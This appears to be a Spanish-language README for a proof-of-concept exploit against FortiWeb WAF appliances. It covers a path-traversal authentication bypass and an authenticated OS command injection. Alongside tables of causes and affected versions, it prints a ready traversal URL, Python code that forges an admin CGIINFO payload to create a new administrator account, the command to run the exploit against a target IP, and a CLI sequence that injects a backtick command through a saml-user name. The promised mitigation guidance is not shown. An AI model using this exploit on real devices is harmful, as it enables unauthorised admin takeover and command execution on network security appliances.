
Exploit PoC para CVEs de FortiWeb: bypass de autenticación mediante path traversal e inyección de comandos del sistema operativo autenticada. Incluye análisis detallado, cargas útiles y orientación de mitigación para pruebas de seguridad.
FortiWeb es un dispositivo Web Application Firewall (WAF) utilizado para proteger aplicaciones web.
En el año 2025, se descubrieron dos vulnerabilidades graves:
| Elemento | Contenido |
|---|
| Tipo de vulnerabilidad | Relative Path Traversal Omisión de autenticación |
| Causa | FortiWeb procesa las rutas sin suficiente rigor antes de la autenticación: - Control de acceso basado en la cadena de ruta lógica - No normaliza completamente la ruta - Permite el uso de ../ para acceder a recursos internos |
| Descripción | Algunos endpoints de administración pueden ser accedidos sin autenticación válida |
| Impacto | - Bypass completo de autenticación - Acceso no autorizado a funciones de administrador - Ruptura del modelo de privilegios |
| Versiones afectadas | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
Ejemplo:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
| Elemento | Contenido |
|---|---|
| Tipo de vulnerabilidad | Inyección de comandos del sistema operativo (CWE-78) |
| Causa | FortiWeb maneja la entrada de forma insegura al ejecutar comandos del sistema operativo: - No valida la entrada - Falta de escape de caracteres especiales - Transmite datos del usuario directamente a comandos del sistema |
| Descripción | La vulnerabilidad requiere autenticación pero permite la inyección de comandos del sistema |
| Impacto | - Ejecución de comandos no deseados - Acceso a recursos del sistema - Afecta la integridad y disponibilidad |
| Versiones afectadas | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Esto ayuda a evitar conflictos de versiones de librerías, garantizar la estabilidad del entorno de trabajo y limitar el impacto en el sistema.

Payload
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Ejecutar la herramienta con Python3:
python3 exploit.py <IP_target>
<IP_target>: La dirección IP aquí es el nombre de host del dispositivo FortiWeb.
Se obtienen el nombre de usuario y la contraseña -> se procede a iniciar sesión


Explotación exitosa y se crea una nueva cuenta con privilegios de administrador.
Después de iniciar sesión con éxito con la nueva cuenta de administrador creada, un atacante puede explotar la vulnerabilidad de inyección de comandos autenticada a través de solicitudes especialmente diseñadas o directamente a través de la interfaz de línea de comandos de FortiWeb CLI:
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb saldrá de la cadena de configuración y ejecutará el comando id durante la configuración de saml-user.